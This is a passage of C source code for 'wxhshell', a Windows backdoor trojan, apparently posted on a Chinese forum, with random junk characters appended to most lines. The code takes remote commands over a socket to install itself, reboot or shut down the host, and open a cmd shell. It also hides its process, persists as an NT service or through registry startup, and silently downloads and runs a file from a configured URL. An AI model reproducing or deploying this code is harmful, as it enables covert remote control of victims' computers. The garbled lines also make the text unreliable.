      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *$t<H-U-  
    break; N^G:m~>  
  } @+9x8*~S'  
  // 安装 yEaim~  
  case 'i': { E!~Ok  
    if(Install()) "1<>c/h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  KKfC^g  
    else E5#Dn.!~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %[x oA)0!  
    break; d:U2b"k=/u  
    } V! sT2  
  // 卸载 K%XQdMv  
  case 'r': { 7 +RsZu  
    if(Uninstall()) -|?I'~[#(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4oY<O  
    else #s'UA!)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y%y F34  
    break; JAjXhk<=  
    } !N`$`qAK  
  // 显示 wxhshell 所在路径 G lz0`z  
  case 'p': { {HJzhIgCf  
    char svExeFile[MAX_PATH]; }`O_  
    strcpy(svExeFile,"\n\r"); cGevFlnh  
      strcat(svExeFile,ExeFile); *r b/BZX{  
        send(wsh,svExeFile,strlen(svExeFile),0); x6, #Jp  
    break; B1EI'<S  
    } DrG9Kky{  
  // 重启 Rmq8lU  
  case 'b': { q`l&G%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $_j\b4]%  
    if(Boot(REBOOT)) qdlz#-B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,)C^hs@  
    else { Dlc=[kf9  
    closesocket(wsh); mSw$? >  
    ExitThread(0); l>KkK|!T^i  
    } 0@FZQ$-  
    break; }b// oe7  
    } Cr!}qZq  
  // 关机 FC'v= *  
  case 'd': { dG6 G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nLA8Hy"8z  
    if(Boot(SHUTDOWN)) %n^jho5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /M:R|91:_  
    else { %0>DjzYt  
    closesocket(wsh); n9Mi?#xIp  
    ExitThread(0); {,Y?+F  
    } 2:31J4t-<  
    break; ]kJinXHW  
    } x*8lz\w  
  // 获取shell B74L/h  
  case 's': { C^}2::Qu  
    CmdShell(wsh); To x{Sk3L  
    closesocket(wsh); #].n0[  
    ExitThread(0); R]0p L   
    break; `N+A8  
  } aV^wTs#2I  
  // 退出 8Z=d+}Gg<  
  case 'x': { //SH=>w2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x@-bY  
    CloseIt(wsh); aoLYw 9  
    break; g4NxNjM;  
    } }U)g<Kzh  
  // 离开 >L\>Th{o  
  case 'q': { EcBJ-j 6d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y9b|lP7!  
    closesocket(wsh); uQ^r1 $#  
    WSACleanup(); ^E)Kse.>  
    exit(1); a3&&7n  
    break; 2"31k2H[  
        } N;<.::x  
  } d?j_L`?+  
  } ~0mO<0~  
)c'5M]V  
  // 提示信息 Ca: jN0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T gpf0(  
} j,q8n`@  
  } V3<baxdE  
y*Egt`W  
  return; #6XN_<  
} B{\cV-X$0  
54TW8y `h  
// shell模块句柄 k{*IR  
int CmdShell(SOCKET sock) 2v ^bd^]u:  
{ EhEUkZE3 )  
STARTUPINFO si; ?\GILB,  
ZeroMemory(&si,sizeof(si)); hJqLH ?Ri  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hXsd12  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /~w!7n<7  
PROCESS_INFORMATION ProcessInfo; `0l)\  
char cmdline[]="cmd"; 0?)U?=>]p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  xc%\%8C}  
  return 0; I3;{II  
} EXlmIY4  
X!}  t``  
// 自身启动模式 w"s;R8  
int StartFromService(void) %M=[h2SN  
{ _l?InNv  
typedef struct (!-gX" <b  
{ -E6#G[JJ  
  DWORD ExitStatus; ]7 qn&(]  
  DWORD PebBaseAddress; SZO$#  
  DWORD AffinityMask; <a)B5B>  
  DWORD BasePriority; 'z=WJV;Vs  
  ULONG UniqueProcessId; T3HAr9i%)  
  ULONG InheritedFromUniqueProcessId; ff.(X!  
}   PROCESS_BASIC_INFORMATION; T#;W5<"  
#) eI]  
PROCNTQSIP NtQueryInformationProcess; 8]@)0q {r  
[>5<&[A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #;9I3,@/Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z(fXN$  
^[K3]*!@  
  HANDLE             hProcess; r-M:YB  
  PROCESS_BASIC_INFORMATION pbi; + .Pv:7gh  
k)Y}X)\36  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^ olaq(z  
  if(NULL == hInst ) return 0; fE1B1j<  
N=1zhI:VaQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AJk0jh\.j%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ao4"=My*G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >s 4"2X  
U(lcQC`$  
  if (!NtQueryInformationProcess) return 0; J~=bW\^I  
+_.k\CRms  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :}QBrd  
  if(!hProcess) return 0; 4CO"> :  
_lWC)bv`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [E9V#J89  
tDWW 4H  
  CloseHandle(hProcess); kq;1Ax0 {  
P}So>P~2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^*CvKCS  
if(hProcess==NULL) return 0; (0L7Ivg<  
3NI3b-7  
HMODULE hMod; pkW }\r  
char procName[255]; NSQ}:m  
unsigned long cbNeeded; \Wdl1 =`  
iD*%' #u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Hghn"ol  
PI KQ}aq=  
  CloseHandle(hProcess); C,*3a`/2M^  
4 &r5M  
if(strstr(procName,"services")) return 1; // 以服务启动 c$Vu/dgx  
sK)fEx  
  return 0; // 注册表启动 kEQ1&9  
} _?j66-( Q  
vNMndo!  
// 主模块 ]} D^?g^  
int StartWxhshell(LPSTR lpCmdLine) 3Go/5X/  
{ -s?f<f{  
  SOCKET wsl; = NHE_ 4/p  
BOOL val=TRUE; } tq  
  int port=0; C5}c?=#bdf  
  struct sockaddr_in door; 6`K R  
ChvSUaCS  
  if(wscfg.ws_autoins) Install(); Ban@$uf  
yyp0GV.x  
port=atoi(lpCmdLine); ?vmu,y  
SM57bN  
if(port<=0) port=wscfg.ws_port; }ufzlHD  
W<f-  
  WSADATA data; gN,O)@N'd3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3.i$lp`t  
#?x!:i$-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {e'P* j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~lBb%M  
  door.sin_family = AF_INET; 6Zr_W#SE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g=Gd|  
  door.sin_port = htons(port); l ga%U~  
0ge"ISK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [&_7w\m  
closesocket(wsl); RIhu9W   
return 1; d=` a-R0  
} 968<yO]  
{6*$yLWK  
  if(listen(wsl,2) == INVALID_SOCKET) { \,UpFuU\  
closesocket(wsl); / .wO<l=  
return 1; AnF"+<  
} Sb2hM~  
  Wxhshell(wsl); /+V}.  
  WSACleanup(); s ;3k#-w  
Hw0S/ytY  
return 0; M~rN17S  
XmZs4~\K$G  
} s3(mkdXv  
U0ZT9/4  
// 以NT服务方式启动 Yfbo=yk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y?6J%~\WP  
{ ,9A1p06  
DWORD   status = 0; GHs,,J;  
  DWORD   specificError = 0xfffffff; 0oNNEC  
q8m{zSr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d}RU-uiW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O]-)?y/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F"-u8in`  
  serviceStatus.dwWin32ExitCode     = 0; FT F`-}Hz  
  serviceStatus.dwServiceSpecificExitCode = 0; {[|je ]3v  
  serviceStatus.dwCheckPoint       = 0; g~7x+cu0  
  serviceStatus.dwWaitHint       = 0; ftb .CPWI  
T!f+H?6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VyMFALSe]h  
  if (hServiceStatusHandle==0) return; ?l> <?i  
D(;jv="/  
status = GetLastError(); X-,mNv z  
  if (status!=NO_ERROR) !_?K(X~/  
{ 1Yk!R9.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {"dvU "y)\  
    serviceStatus.dwCheckPoint       = 0; B*OEG*t  
    serviceStatus.dwWaitHint       = 0; >='y+ 68  
    serviceStatus.dwWin32ExitCode     = status; 0?$jC-@k:  
    serviceStatus.dwServiceSpecificExitCode = specificError; [QwBSq8)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gLDO|ADni  
    return; ]>9[}'u  
  } .4[\%r\i  
ngt?9i;N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '?Jz8iu-  
  serviceStatus.dwCheckPoint       = 0; Z|#G+$"QV  
  serviceStatus.dwWaitHint       = 0; MJ\^i4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); euMJ c  
} #Dz. 58A  
4)Bk:K  
// 处理NT服务事件,比如:启动、停止 ^g'P H{68  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5i0vli /L  
{ ]/#3 P  
switch(fdwControl) yI{4h $c  
{ XLgp.w;  
case SERVICE_CONTROL_STOP: N,3 )`Vm  
  serviceStatus.dwWin32ExitCode = 0; DqJzsk'd3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "C]v   
  serviceStatus.dwCheckPoint   = 0; c]/X >8;  
  serviceStatus.dwWaitHint     = 0; B*@0l:  
  { S4Q fx6:~h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UfkQG`G9H  
  } Hk 0RT%PK  
  return; _x`oab0@  
case SERVICE_CONTROL_PAUSE: 8{- *Q(=/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <WiyM[ ep  
  break; D7lRZb  
case SERVICE_CONTROL_CONTINUE: b Y2:g )  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,k9xI<i  
  break; O>@ChQF  
case SERVICE_CONTROL_INTERROGATE: O`^dy7>{U  
  break; y$K[ArqX  
}; oHPh2b0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yn_v'Os2  
} jtv<{7a  
J1u&Ga  
// 标准应用程序主函数 1YtbV3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f q&(&(|  
{ yog(  
J $^"cCMr  
// 获取操作系统版本 h( DmSW  
OsIsNt=GetOsVer(); 3E-dhSz:i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); adn2&7H  
`'E(L&  
  // 从命令行安装 h]vu BHJ}  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1>=]lMW  
mVd%sWD  
  // 下载执行文件 K2qKkV@  
if(wscfg.ws_downexe) { 8b:GyC5L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n`X}&(O  
  WinExec(wscfg.ws_filenam,SW_HIDE); S*NeS#!v  
} r>lo@e0G  
c$8M}q:X  
if(!OsIsNt) { bO'?7=SC  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rd;^ fBx  
HideProc(); 'j9x(T1M1  
StartWxhshell(lpCmdLine); u#+Is4Vh  
} "=Cjm`9~j  
else zXW)v/ ZD  
  if(StartFromService()) &a'mh  
  // 以服务方式启动 a|-ozBFR  
  StartServiceCtrlDispatcher(DispatchTable); 1wy?<B.f  
else ~,Kx"VK  
  // 普通方式启动 cB6LJ}R  
  StartWxhshell(lpCmdLine); 7S{yKS  
pS~=T}o  
return 0; 2AXf'IOqE  
}
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只看该作者 1 发表于: 2006-10-10
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